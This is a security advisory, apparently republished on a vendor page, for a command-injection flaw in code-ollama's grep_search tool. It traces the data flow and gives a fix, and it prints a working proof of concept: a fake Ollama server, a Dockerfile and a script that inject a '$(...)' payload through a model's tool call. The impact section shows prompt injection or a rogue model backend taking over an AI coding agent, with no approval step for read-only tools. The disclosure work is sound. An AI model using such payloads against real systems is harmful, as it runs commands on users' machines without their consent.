Summary
code-ollama: grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)
grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)
The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).
Details
Vulnerable sink, src/utils/tools/filesystem/grep.ts:58-66
const escapedPattern = searchPattern
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell(
`rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec, the promisified child_process.exec defined at src/utils/node.ts:1-4, causing /bin/sh to interpret the entire string and expand any embedded command substitution.
Full data-flow path (source → sink)
| Step | Location | Action |
|---|---|---|
| 1 | src/utils/ollama.ts:102-103 |
External Ollama chat stream delivers chunk.message.tool_calls to the CLI |
| 2 | src/cli.ts:147-148 |
Each toolCall is forwarded to tools.executeToolCall() |
| 3 | src/utils/tools/dispatcher.ts:300-306 |
Dispatcher normalizes the call and routes it |
| 4 | src/utils/tools/dispatcher.ts:392-393 |
stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() |
| 5 | src/utils/tools/filesystem/grep.ts:58-63 |
Incomplete sanitization: only \ and " are escaped (root cause) |
| 6 | src/utils/tools/filesystem/grep.ts:65 |
Shell command string assembled and handed to execShell() (sink) |
| 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 |
exec() (child_process.exec) executes the string via /bin/sh |
Approval-bypass amplifier
grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.
PoC
Prerequisites
code-ollamav0.36.0 installed (e.g.,npm install --global [email protected]or built from source via the Dockerfile below).ripgrep(rg) available inPATH(the vulnerable code path requires it).- Python 3 available to run the fake Ollama server.
Step 1, Build the self-contained Docker image (recommended)
# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
The container automatically runs poc.py as CMD. Successful exploitation prints:
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
Step 2, Manual reproduction (bare-metal)
# Terminal 1, start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading
_req = 0
_lock = threading.Lock()
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b"Ollama is running")
def do_POST(self):
global _req
l = int(self.headers.get("Content-Length", 0))
self.rfile.read(l)
with _lock:
_req += 1; n = _req
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if n == 1:
chunk = {"model":"fake","message":{"role":"assistant","content":"",
"tool_calls":[{"function":{"name":"grep_search",
"arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
"done":True,"done_reason":"stop"}
else:
chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
"done":True,"done_reason":"stop"}
self.wfile.write((json.dumps(chunk)+"\n").encode())
self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &
# Terminal 2, run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence # expected: uid=... gid=... groups=...
Explanation of the payload
The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.
Remediation
Replace the shell-string construction with an argument-vector call to avoid the shell entirely:
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
- const escapedPattern = searchPattern
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
- const escapedDirPath = dirPath
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
-
- const { stdout } = await execShell(
- `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
- );
+ const { stdout } = await execFile(
+ 'rg',
+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+ RG_EXEC_OPTIONS,
+ );
Reproduction artifacts
Dockerfile
# VULN-001: grep_search Command Injection, CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
# docker run --rm vuln001-code-ollama
FROM node:24-slim
# ripgrep , required by grepSearch() in the vulnerable code path
# python3 , runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
ripgrep \
python3 \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci
# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js, the bundled CLI entrypoint
RUN npm run build
# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace
COPY vuln-001/poc.py /poc.py
WORKDIR /workspace
CMD ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
Proof of Concept: VULN-001, grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink : src/utils/tools/filesystem/grep.ts:65
execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
-> grepSearch() -> execShell() -> child_process.exec()
Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.
Usage (inside Docker, called automatically by CMD):
python3 /poc.py
Expected outcome:
/tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434
# The marker file written by the injected command, used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"
# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"
# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"
# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()
# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------
class FakeOllamaHandler(BaseHTTPRequestHandler):
"""Minimal Ollama-compatible HTTP server for the PoC.
First POST /api/chat -> returns a grep_search tool_call carrying the
injected pattern.
Subsequent POSTs -> return a plain done response to terminate the
code-ollama tool-loop.
"""
def log_message(self, fmt, *args): # suppress default request logging
pass
# ------------------------------------------------------------------
# GET, health-check (code-ollama / ollama-npm may call GET /)
# ------------------------------------------------------------------
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"Ollama is running")
# ------------------------------------------------------------------
# POST, chat streaming endpoint
# ------------------------------------------------------------------
def do_POST(self):
global _request_count
# Consume request body to avoid broken-pipe on the client side
content_length = int(self.headers.get("Content-Length", 0))
_ = self.rfile.read(content_length)
with _request_lock:
_request_count += 1
current_request = _request_count
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if current_request == 1:
# ---------------------------------------------------------------
# First request: inject malicious grep_search tool call
# The `arguments` object is passed verbatim through the ollama-npm
# library and reaches grepSearch(pattern, path) in grep.ts.
# ---------------------------------------------------------------
print(f"[fake-ollama] Request #{current_request}: "
f"sending malicious grep_search tool_call")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "",
"tool_calls": [{
"function": {
"name": "grep_search",
# pattern and path are the two required string args
# validated by validateArgs() in dispatcher.ts
"arguments": {
"pattern": INJECTED_CMD,
"path": TARGET_PATH,
},
}
}],
},
"done": True,
"done_reason": "stop",
}
else:
# ---------------------------------------------------------------
# Subsequent requests: plain text to terminate the tool loop.
# No tool_calls -> nextMessages stays null -> processRunStream
# returns after checking hasUncalledToolIntent (no match on
# "Done.") so the CLI exits cleanly.
# ---------------------------------------------------------------
print(f"[fake-ollama] Request #{current_request}: "
"sending done/stop response")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "Done.",
},
"done": True,
"done_reason": "stop",
}
self.wfile.write((json.dumps(chunk) + "\n").encode())
self.wfile.flush()
def start_fake_server():
"""Start the fake Ollama server in a daemon thread."""
server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------
def main():
print("=" * 65)
print("VULN-001: grep_search Command Injection PoC (CWE-78)")
print("Target : ai-action/code-ollama v0.36.0")
print("Sink : src/utils/tools/filesystem/grep.ts:65")
print("=" * 65)
print()
print(f"[*] Payload : {INJECTED_CMD}")
print(f"[*] Marker : {MARKER_FILE}")
print()
# Clean up any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
os.unlink(MARKER_FILE)
print(f"[*] Removed stale marker file: {MARKER_FILE}")
# -----------------------------------------------------------------------
# 1. Start the fake Ollama server
# -----------------------------------------------------------------------
print(f"[*] Starting fake Ollama server on "
f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
start_fake_server()
time.sleep(0.4) # give the server socket time to bind
# -----------------------------------------------------------------------
# 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
# --trust skips the interactive directory-trust prompt (src/cli.ts:214)
# -----------------------------------------------------------------------
env = os.environ.copy()
env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"
# Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
cmd = [
"node", "/app/dist/cli.js",
"run", "--trust", "fake", "search the code",
]
print(f"[*] Executing: {' '.join(cmd)}")
print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
print()
try:
result = subprocess.run(
cmd,
env=env,
stdin=subprocess.DEVNULL, # no TTY / interactive input needed
capture_output=True,
text=True,
timeout=60,
cwd="/workspace",
)
except subprocess.TimeoutExpired:
print("[-] code-ollama subprocess timed out after 60 s")
sys.exit(1)
print("--- code-ollama stdout ---")
print(result.stdout[:3000] if result.stdout else "(empty)")
print("--- code-ollama stderr ---")
print(result.stderr[:3000] if result.stderr else "(empty)")
print(f"--- exit code: {result.returncode} ---")
print()
# -----------------------------------------------------------------------
# 3. Verify exploitation: check for the marker file
# -----------------------------------------------------------------------
if os.path.exists(MARKER_FILE):
evidence = open(MARKER_FILE).read().strip()
print("[+] ============================================================")
print("[+] EXPLOITATION CONFIRMED")
print("[+] ============================================================")
print(f"[+] Marker file : {MARKER_FILE}")
print(f"[+] Contents : {evidence!r}")
print("[+] Explanation : The $() command substitution inside the")
print("[+] grep_search pattern was NOT escaped by code-ollama's")
print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").")
print("[+] execShell() passed the raw string to child_process.exec()")
print("[+] which ran it through /bin/sh, executing the injected")
print("[+] command as the current user.")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] ============================================================")
print("[-] EXPLOITATION FAILED")
print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
print("[-] Possible causes:")
print("[-] - ollama-npm parsed tool_call.arguments differently")
print("[-] - The pattern was sanitized before reaching execShell()")
print("[-] - ripgrep is not installed so the fallback path was taken")
print("[-] - The shell used does not support $() substitution")
print("[-] ============================================================")
sys.exit(1)
if __name__ == "__main__":
main()
Impact
This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response, including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection, can execute arbitrary commands as the OS user running code-ollama.
Impact scope:
- Confidentiality (High), attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
- Integrity (High), attacker can modify or delete files, plant backdoors, alter repository history.
- Availability (High), attacker can terminate processes, corrupt data, or consume system resources.
The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
GHSA-456V-XQ2P-R4CJ has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.36.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-456V-XQ2P-R4CJ? GHSA-456V-XQ2P-R4CJ is a high-severity OS command injection vulnerability in code-ollama (npm), affecting versions <= 0.36.0. It is fixed in 0.36.1. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is GHSA-456V-XQ2P-R4CJ? GHSA-456V-XQ2P-R4CJ has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code-ollama are affected by GHSA-456V-XQ2P-R4CJ? code-ollama (npm) versions <= 0.36.0 is affected.
- Is there a fix for GHSA-456V-XQ2P-R4CJ? Yes. GHSA-456V-XQ2P-R4CJ is fixed in 0.36.1. Upgrade to this version or later.
- Is GHSA-456V-XQ2P-R4CJ exploitable, and should I be worried? Whether GHSA-456V-XQ2P-R4CJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-456V-XQ2P-R4CJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-456V-XQ2P-R4CJ? Upgrade
code-ollamato 0.36.1 or later.